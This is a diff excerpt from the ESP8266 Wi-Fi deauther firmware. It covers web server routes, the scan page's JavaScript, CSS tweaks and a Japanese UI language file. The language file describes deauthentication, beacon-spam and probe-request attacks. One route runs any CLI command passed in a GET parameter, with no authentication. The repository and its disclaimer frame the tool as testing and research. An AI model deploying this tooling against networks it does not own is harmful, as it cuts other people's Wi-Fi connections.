||||
|
||||
server.on(String(F("/list")).c_str(), HTTP_GET, handleFileList); // list directory
|
||||
|
||||
|
||||
// ================================================================
|
||||
// post here the output of the webConverter.py
|
||||
#ifdef USE_PROGMEM_WEB_FILES
|
||||
if (!settings.getWebSettings().use_spiffs) {
|
||||
server.on(String(SLASH).c_str(), HTTP_GET, [] () {
|
||||
sendProgmem(indexhtml, sizeof(indexhtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/attack.html")).c_str(), HTTP_GET, [] () {
|
||||
sendProgmem(attackhtml, sizeof(attackhtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/index.html")).c_str(), HTTP_GET, [] () {
|
||||
sendProgmem(indexhtml, sizeof(indexhtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/info.html")).c_str(), HTTP_GET, [] () {
|
||||
sendProgmem(infohtml, sizeof(infohtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/scan.html")).c_str(), HTTP_GET, [] () {
|
||||
sendProgmem(scanhtml, sizeof(scanhtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/settings.html")).c_str(), HTTP_GET, [] () {
|
||||
sendProgmem(settingshtml, sizeof(settingshtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/ssids.html")).c_str(), HTTP_GET, [] () {
|
||||
sendProgmem(ssidshtml, sizeof(ssidshtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/style.css")).c_str(), HTTP_GET, [] () {
|
||||
sendProgmem(stylecss, sizeof(stylecss), W_CSS);
|
||||
});
|
||||
server.on(String(F("/js/attack.js")).c_str(), HTTP_GET, [] () {
|
||||
sendProgmem(attackjs, sizeof(attackjs), W_JS);
|
||||
});
|
||||
server.on(String(F("/js/scan.js")).c_str(), HTTP_GET, [] () {
|
||||
sendProgmem(scanjs, sizeof(scanjs), W_JS);
|
||||
});
|
||||
server.on(String(F("/js/settings.js")).c_str(), HTTP_GET, [] () {
|
||||
sendProgmem(settingsjs, sizeof(settingsjs), W_JS);
|
||||
});
|
||||
server.on(String(F("/js/site.js")).c_str(), HTTP_GET, [] () {
|
||||
sendProgmem(sitejs, sizeof(sitejs), W_JS);
|
||||
});
|
||||
server.on(String(F("/js/ssids.js")).c_str(), HTTP_GET, [] () {
|
||||
sendProgmem(ssidsjs, sizeof(ssidsjs), W_JS);
|
||||
});
|
||||
server.on(String(F("/lang/cn.lang")).c_str(), HTTP_GET, [] () {
|
||||
sendProgmem(cnlang, sizeof(cnlang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/cs.lang")).c_str(), HTTP_GET, [] () {
|
||||
sendProgmem(cslang, sizeof(cslang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/de.lang")).c_str(), HTTP_GET, [] () {
|
||||
sendProgmem(delang, sizeof(delang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/en.lang")).c_str(), HTTP_GET, [] () {
|
||||
sendProgmem(enlang, sizeof(enlang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/es.lang")).c_str(), HTTP_GET, [] () {
|
||||
sendProgmem(eslang, sizeof(eslang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/fi.lang")).c_str(), HTTP_GET, [] () {
|
||||
sendProgmem(filang, sizeof(filang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/fr.lang")).c_str(), HTTP_GET, [] () {
|
||||
sendProgmem(frlang, sizeof(frlang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/it.lang")).c_str(), HTTP_GET, [] () {
|
||||
sendProgmem(itlang, sizeof(itlang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/ru.lang")).c_str(), HTTP_GET, [] () {
|
||||
sendProgmem(rulang, sizeof(rulang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/tlh.lang")).c_str(), HTTP_GET, [] () {
|
||||
sendProgmem(tlhlang, sizeof(tlhlang), W_JSON);
|
||||
});
|
||||
}
|
||||
server.on(str(W_DEFAULT_LANG).c_str(), HTTP_GET, [] () {
|
||||
if (!settings.getWebSettings().use_spiffs) {
|
||||
if (String(settings.getWebSettings().lang) == String(F("cn"))) sendProgmem(cnlang, sizeof(cnlang), W_JSON);
|
||||
else if (String(settings.getWebSettings().lang) == String(F("cs"))) sendProgmem(cslang, sizeof(cslang), W_JSON);
|
||||
else if (String(settings.getWebSettings().lang) == String(F("de"))) sendProgmem(delang, sizeof(delang), W_JSON);
|
||||
else if (String(settings.getWebSettings().lang) == String(F("en"))) sendProgmem(enlang, sizeof(enlang), W_JSON);
|
||||
else if (String(settings.getWebSettings().lang) == String(F("es"))) sendProgmem(eslang, sizeof(eslang), W_JSON);
|
||||
else if (String(settings.getWebSettings().lang) == String(F("fi"))) sendProgmem(filang, sizeof(filang), W_JSON);
|
||||
else if (String(settings.getWebSettings().lang) == String(F("fr"))) sendProgmem(frlang, sizeof(frlang), W_JSON);
|
||||
else if (String(settings.getWebSettings().lang) == String(F("it"))) sendProgmem(itlang, sizeof(itlang), W_JSON);
|
||||
else if (String(settings.getWebSettings().lang) == String(F("ru"))) sendProgmem(rulang, sizeof(rulang), W_JSON);
|
||||
else if (String(settings.getWebSettings().lang) == String(F("tlh"))) sendProgmem(tlhlang, sizeof(tlhlang), W_JSON);
|
||||
|
||||
else handleFileRead(String(F("/web/lang/")) + String(settings.getWebSettings().lang) + String(F(".lang")));
|
||||
} else {
|
||||
handleFileRead(String(F("/web/lang/")) + String(settings.getWebSettings().lang) + String(F(".lang")));
|
||||
}
|
||||
});
|
||||
#endif /* ifdef USE_PROGMEM_WEB_FILES */
|
||||
// ================================================================
|
||||
|
||||
server.on(String(F("/run")).c_str(), HTTP_GET, [] () {
|
||||
server.send(200, str(W_TXT), str(W_OK).c_str());
|
||||
String input = server.arg("cmd");
|
||||
cli.exec(input);
|
||||
});
|
||||
|
||||
server.on(String(F("/attack.json")).c_str(), HTTP_GET, [] () {
|
||||
server.send(200, str(W_JSON), attack.getStatusJSON());
|
||||
});
|
||||
|
||||
// aggressively caching static assets
|
||||
server.serveStatic("/js", SPIFFS, String(wifi_config_path + "/js").c_str(), "max-age=86400");
|
||||
|
||||
// called when the url is not defined here
|
||||
// use it to load content from SPIFFS
|
||||
server.onNotFound([] () {
|
||||
if (!handleFileRead(server.uri())) {
|
||||
server.send(404, str(W_TXT), str(W_FILE_NOT_FOUND));
|
||||
}
|
||||
});
|
||||
|
||||
server.begin();
|
||||
wifiMode = WIFI_MODE_AP;
|
||||
|
||||
prntln(W_STARTED_AP);
|
||||
printWifiStatus();
|
||||
}
|
||||
|
||||
void printWifiStatus() {
|
||||
prnt(String(F("[WiFi] Path: '")));
|
||||
prnt(wifi_config_path);
|
||||
prnt(String(F("', Mode: '")));
|
||||
|
||||
switch (wifiMode) {
|
||||
case WIFI_MODE_OFF:
|
||||
prnt(W_MODE_OFF);
|
||||
break;
|
||||
|
||||
case WIFI_MODE_AP:
|
||||
prnt(W_AP);
|
||||
break;
|
||||
|
||||
case WIFI_MODE_STATION:
|
||||
prnt(W_STATION);
|
||||
break;
|
||||
}
|
||||
prnt(String(F("', SSID: '")));
|
||||
prnt(wifi_config_ssid);
|
||||
prnt(String(F("', password: '")));
|
||||
prnt(wifi_config_password);
|
||||
prnt(String(F("', channel: '")));
|
||||
prnt(wifi_channel);
|
||||
prnt(String(F("', hidden: ")));
|
||||
prnt(b2s(wifi_config_hidden));
|
||||
prnt(String(F(", captive-portal: ")));
|
||||
prntln(b2s(wifi_config_captivePortal));
|
||||
}
|
||||
|
||||
void startAP() {
|
||||
startAP(wifi_config_path.c_str(), wifi_config_ssid.c_str(),
|
||||
wifi_config_password.c_str(), wifi_channel, wifi_config_hidden, wifi_config_captivePortal);
|
||||
}
|
||||
|
||||
void startAP(String path) {
|
||||
wifi_config_path = path;
|
||||
startAP();
|
||||
}
|
||||
|
||||
void loadWifiConfigDefaults() {
|
||||
wifi_config_hidden = settings.getAccessPointSettings().hidden;
|
||||
wifi_config_ssid = settings.getAccessPointSettings().ssid;
|
||||
wifi_config_password = settings.getAccessPointSettings().password;
|
||||
wifi_config_captivePortal = settings.getWebSettings().captive_portal;
|
||||
wifi_config_path = str(W_WEBINTERFACE);
|
||||
}
|
||||
|
||||
void resumeAP() {
|
||||
if (wifiMode != WIFI_MODE_AP) {
|
||||
wifiMode = WIFI_MODE_AP;
|
||||
wifi_promiscuous_enable(0);
|
||||
WiFi.softAPConfig(apIP, apIP, netMsk);
|
||||
WiFi.softAP(wifi_config_ssid.c_str(), wifi_config_password.c_str(), wifi_channel, wifi_config_hidden);
|
||||
prntln(W_STARTED_AP);
|
||||
}
|
||||
}
|
||||
|
||||
#endif // ifndef WifiManager_h
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -222,7 +222,7 @@ f.write("#endif\n")
|
|||
f.write("\n")
|
||||
f.write("void copyWebFiles(bool force){\n")
|
||||
f.write("#ifdef USE_PROGMEM_WEB_FILES\n")
|
||||
f.write("if(settings.getWebSpiffs()){\n")
|
||||
f.write("if(settings.getWebSettings().use_spiffs){\n")
|
||||
f.write(copy_files_function)
|
||||
f.write("}\n")
|
||||
f.write("#endif\n")
|
||||
|
|
|
@ -128,11 +128,40 @@ function drawNames(){
|
|||
getE("nTable").innerHTML = html;
|
||||
}
|
||||
|
||||
var duts;
|
||||
var elxtime;
|
||||
function scan(type){
|
||||
getE('RButton').disabled = true;
|
||||
switch(type){
|
||||
case 0:
|
||||
getE('scanOne').disabled = true;
|
||||
getE('scanZero').style.visibility = 'hidden';
|
||||
elxtime = 2450;
|
||||
break;
|
||||
case 1:
|
||||
getE('scanZero').disabled = true;
|
||||
getE('scanOne').style.visibility = 'hidden';
|
||||
elxtime = parseInt(getE("scanTime").value+"000") + 1500;
|
||||
}
|
||||
var cmdStr = "scan "
|
||||
+ (type == 0 ? "aps " : "stations -t "+getE("scanTime").value+"s")
|
||||
+ " -ch "+getE("ch").options[getE("ch").selectedIndex].value;
|
||||
getFile("run?cmd="+cmdStr);
|
||||
duts = parseInt(type);
|
||||
setTimeout(buttonFunc, elxtime)
|
||||
}
|
||||
|
||||
function buttonFunc(){
|
||||
switch (duts) {
|
||||
case 0:
|
||||
getE('scanZero').style.visibility = 'visible';
|
||||
getE('scanOne').disabled = false;
|
||||
break;
|
||||
case 1:
|
||||
getE('scanOne').style.visibility = 'visible';
|
||||
getE('scanZero').disabled = false;
|
||||
}
|
||||
getE('RButton').disabled = false;
|
||||
}
|
||||
|
||||
function load(){
|
||||
|
|
|
@ -23,7 +23,7 @@ function draw(){
|
|||
}else if(typeof settingsJson[key] == "number"){
|
||||
html += "<input type='number' name='"+key+"' value="+settingsJson[key]+" onchange='save(\""+key+"\",parseInt(this.value))'>";
|
||||
}else if(typeof settingsJson[key] == "string"){
|
||||
html += "<input type='text' name='"+key+"' value="+settingsJson[key]+" "+(key=="version"?"readonly":"")+" onchange='save(\""+key+"\",this.value)'>";
|
||||
html += "<input type='text' name='"+key+"' value='"+settingsJson[key].toString()+"' "+(key=="version"?"readonly":"")+" onchange='save(\""+key+"\",this.value)'>";
|
||||
}
|
||||
|
||||
html += "</div>"
|
||||
|
|
|
@ -0,0 +1,74 @@
|
|||
{
|
||||
"lang": "ja",
|
||||
"warning": "警告",
|
||||
"disclaimer": "このプロジェクトはテスト及び学術的な目的の概念実証です。\nESP8266及び、そのSDKは、このような目的のためのものではないため。バグがあるかもしれません。\n\n所有するデバイスとネットワークに対してのみ使用してください。\n\nIEEE 802.11標準に記述された有効なWi-Fiフレームを用いており、遮断及び周波数の攪乱ではありません。\n使用する前に自国内の法規を確認してください。\n\nこのプロジェクトでの\"妨害\"を意図しないでください。それはこのプロジェクト本来の目的に反するものです。\nこのプロジェクトが意味するところを何も理解できていないことが証明されるだけです。\n適切な説明をせず、これに関するコンテンツを配布することは、クリックや名声・金銭目的の為であり、知的財産とその背後にあるコミュニティとWiFi標準を良くしていくための戦いに敬意を示さない事になります。\n\n詳細はこちらから:",
|
||||
"disclaimer-button": "私は告示を読んで理解しました",
|
||||
"reload": "再読込",
|
||||
"scan": "スキャン",
|
||||
"ssids": "SSID",
|
||||
"attacks": "攻撃",
|
||||
"settings": "設定",
|
||||
"info": "情報",
|
||||
"info_span": "情報: ",
|
||||
"all": "全て",
|
||||
"channel": "チャンネル",
|
||||
"devices": "保存済みデバイス",
|
||||
"select_all": "全選択",
|
||||
"deselect_all": "全選択解除",
|
||||
"remove_all": "全削除",
|
||||
"station_scan_time": "ステーションのスキャン時間",
|
||||
"new": "新規",
|
||||
"save": "保存",
|
||||
"add": "追加",
|
||||
"add_selected": "選択APを複製",
|
||||
"overwrite": "上書",
|
||||
"time_interval": "間隔",
|
||||
"number": "番号",
|
||||
"targets": "対象",
|
||||
"scan_info": "- SCANを押下してボード上の青色LED(充電中は緑色)が消灯してから、RELOADを押下します。\n- ステーションのスキャン中は再接続までWebインターフェイスを使用できません!\n- 対象を1つだけ選択してください。\n",
|
||||
"ssids_info": "- このSSIDリストはビーコンと探査攻撃に使用されます。\n- SSIDは最大32文字まで。\n- SSIDを編集した時は忘れずに保存してください。\n- SSIDを複製した後は再読み込みしてください。\n",
|
||||
"attack_info": "- 攻撃開始により接続が失われることがあります。\n- 認証解除攻撃には対象を選択する必要があります。\n- ビーコン・探査攻撃にはSSIDの保存が必要です。\n- 再読み込みのクリックによりパケットレートを更新します。\n",
|
||||
"settings_info": "- いくつかの設定は再起動が必要です。\n- 保存をクリックして変更を反映します。\n",
|
||||
"info_disclaimer": "例外エラーが生じた場合はページの再読み込みと、デバッグのためにシリアルモニターを確認してください。",
|
||||
"start_stop": "開始 / 停止",
|
||||
"start": "開始",
|
||||
"stop": "停止",
|
||||
"wifi_off": "WiFiオフ",
|
||||
"reboot": "再起動",
|
||||
"reset": "リセット",
|
||||
"enable_random": "ランダムモード有効化",
|
||||
"disable_random": "ランダムモード無効化",
|
||||
"random_desc": "ランダムモードを有効にして、ランダムなSSIDを指定の間隔で生成します。",
|
||||
"deauth_desc": "選択したAPとクライアントに認証解除フレームを送信してWiFiデバイスの接続を閉じます。\nこれは多くのデバイスが、この攻撃に対する保護をもたらす802.11w-2009標準に準じていないため可能になります。\n- 1つだけ対象を選択してください! 異なるチャンネルの複数の対象に攻撃を開始すると、それらのチャンネルがすぐに切り替わりWebインターフェイスに再接続する機会がなくなります。\n",
|
||||
"beacon_desc": "ビーコンパケットはアクセスポイントのアドバタイズに使用されます。ビーコンパケットの継続的な送信は、WiFiネットワークを新しく作成したかのように見えます。\nSSID下のネットワーク名を指定できます。",
|
||||
"probe_desc": "探査リクエストはクライアントが近隣に既知のネットワークが存在するか問い合わせます。\nこの攻撃はSSIDリストで指定されたネットワークへの問い合わせによってWiFiトラッカーを攪乱させます。\nホームネットワークに対して、この攻撃による影響はみられないでしょう。",
|
||||
"setting_version": "バージョン v2.0.\nこの設定はソースコード内でのみ変更できます。",
|
||||
"setting_ssid" : "Webインターフェイスで使用するアクセスポイントのSSID名(有効な場合)\n1~31文字である必要があります。",
|
||||
"setting_password": "Webインターフェイスで使用するアクセスポイントのパスワード(有効な場合)\n8~31文字である必要があります。",
|
||||
"setting_channel": "開始時に使用するデフォルトのWiFiチャンネル",
|
||||
"setting_hidden": "Webインターフェイスで使用するアクセスポイントを隠す(有効な場合)",
|
||||
"setting_captivePortal": "アクセスポイントのキャプティブポータルを有効にする(有効な場合)",
|
||||
"setting_autosave": "SSID/デバイス名/設定を自動保存",
|
||||
"setting_autosavetime": "自動保存の間隔(ミリ秒)",
|
||||
"setting_display": "ディスプレイインターフェイスを有効にする",
|
||||
"setting_displayTimeout": "非アクティブ時にディスプレイをオフにするまでの秒数\n0でディスプレイタイムアウトが無効になります。",
|
||||
"setting_serial": "シリアルインターフェイスを有効化\n無効にしないことを推奨します!",
|
||||
"setting_serialEcho": "シリアル経由のメッセージ毎のエコーを有効にする",
|
||||
"setting_web": "Webインターフェイスを有効にする",
|
||||
"setting_webSpiffs": "全てのWebファイルでSPIFFSを有効にする",
|
||||
"setting_led": "(RGB)LED機能を有効にする",
|
||||
"setting_maxch": "スキャンする最大チャンネル数\nアメリカ = 11, EU = 13, 日本 = 14",
|
||||
"setting_macAP": "アクセスポイントモードで使用するMACアドレス\n アクセスポイントモードが有効な時にのみ内部MACアドレスを置き換えることに留意してください。",
|
||||
"setting_macSt": "ステーションモードで使用するMACアドレス\nステーションモードが有効な時にのみ内部MACアドレスを置き換えることに留意してください。",
|
||||
"setting_chtime": "順次スキャンで次に移るまでの個別のスキャンにかけるミリ秒(チャンネルホッピングが有効な場合のみ)",
|
||||
"setting_minDeauths": "スキャン時に認証解除モードにLEDを変更するときの認証解除フレームの最小数",
|
||||
"setting_attacktimeout": "指定時間(秒)後に自動的に攻撃を停止します。\n0で無効になります。",
|
||||
"setting_forcepackets": "パケットの送信試行数\n混雑したエリアで良好なパケットレートを実現したい場合は値を高く設定します。\nこの設定がデバイスを遅く、より不安定にする可能性があることに注意してください。\n最大値は255です!",
|
||||
"setting_deauthspertarget": "ターゲット毎に送信する認証解除・関連付け解除フレーム数",
|
||||
"setting_deauthReason": "認証解除フレームで理由コードが送信されることにより対象デバイスに、なぜ接続が閉じられるか知らせます。",
|
||||
"setting_beaconchannel": "有効にすると、ビーコン攻撃実行時に全フレームを異なるチャンネルに送信します。",
|
||||
"setting_beaconInterval": "有効にすると、ビーコンが毎秒送信されます。無効の場合は100ミリ秒の間隔を開けます。\n間隔を長くするとパケットの安定性とスパムの低減をもたらしますが、スキャン時にクライアントがSSIDを見つけるまで時間を要する事があります。",
|
||||
"setting_randomTX": "探査リクエストフレームと送出ビーコンの送信出力をランダムにする",
|
||||
"setting_probesPerSSID": "SSID毎に送信する探査リクエストフレーム数",
|
||||
"setting_lang": "Webインターフェイスのデフォルト言語\n言語ファイルが存在するか確認してください!"
|
||||
}
|
|
@ -24,10 +24,10 @@
|
|||
<div class="col-12">
|
||||
<div id="error" class="hide"></div>
|
||||
<h1 class="header" data-translate="scan">Scan</h1>
|
||||
|
||||
<button onclick="scan(0)">Scan APs</button>
|
||||
<button onclick="scan(1)">Scan Stations</button>
|
||||
<button onclick="load()" data-translate="reload" class="right">Reload</button>
|
||||
|
||||
<button id=scanZero onclick="scan(0)">Scan APs</button>
|
||||
<button id=scanOne onclick="scan(1)">Scan Stations</button>
|
||||
<button id=RButton onclick="load()" data-translate="reload" class="right">Reload</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="row">
|
||||
|
@ -73,29 +73,29 @@
|
|||
</span>
|
||||
<span data-translate="info_disclaimer">In case of an unexpected error, please reload the site and look at the serial monitor for further debugging.</span>
|
||||
</p>
|
||||
|
||||
|
||||
<hr>
|
||||
|
||||
|
||||
<h2><span>Access Points</span>: <span id="apNum"></span></h2>
|
||||
<table id="apTable"></table>
|
||||
<button onclick="selectAll(0,true)" data-translate="select_all">select all</button>
|
||||
<button onclick="selectAll(0,false)" data-translate="deselect_all">deselect all</button>
|
||||
|
||||
|
||||
<hr>
|
||||
|
||||
|
||||
<h2><span>Stations</span>: <span id="stNum"></span></h2>
|
||||
<table id="stTable"></table>
|
||||
<button onclick="selectAll(1,true)" data-translate="select_all">select all</button>
|
||||
<button onclick="selectAll(1,false)" data-translate="deselect_all">deselect all</button>
|
||||
|
||||
|
||||
<hr>
|
||||
|
||||
|
||||
<h2><span data-translate="devices">Saved Devices</span>: <span id="nNum"></span></h2>
|
||||
<table id="nTable"></table>
|
||||
<button onclick="selectAll(2,true)" data-translate="select_all">select all</button>
|
||||
<button onclick="selectAll(2,false)" data-translate="deselect_all">deselect all</button>
|
||||
<button onclick="add(2)" data-translate="new">new</button>
|
||||
|
||||
|
||||
<div id="copyright">
|
||||
<a href="https://github.com/spacehuhn/esp8266_deauther/wiki" target="_blank">Wiki</a> | <a href="https://github.com/spacehuhn/esp8266_deauther" target="_blank">GitHub</a><br>
|
||||
<br>
|
||||
|
|
|
@ -321,7 +321,16 @@ button:hover, input[type="submit"]:hover, input[type="reset"]:hover, input[type=
|
|||
button:active, input[type="submit"]:active, input[type="reset"]:active, input[type="button"]:active {
|
||||
transform: scale(.93);
|
||||
}
|
||||
|
||||
button:disabled:hover, input[type="submit"]:disabled:hover, input[type="reset"]:disabled:hover, input[type="button"]:disabled:hover {
|
||||
background: white;
|
||||
cursor: not-allowed;
|
||||
opacity: 0.40;
|
||||
filter: alpha(opacity=40);
|
||||
transform: scale(1);
|
||||
}
|
||||
button::-moz-focus-inner {
|
||||
border: 0;
|
||||
}
|
||||
/* Forms */
|
||||
input[type="email"], input[type="number"], input[type="search"], input[type="text"], input[type="tel"], input[type="url"], input[type="password"], textarea, select {
|
||||
height: 38px;
|
||||
|
|
Loading…
Reference in New Issue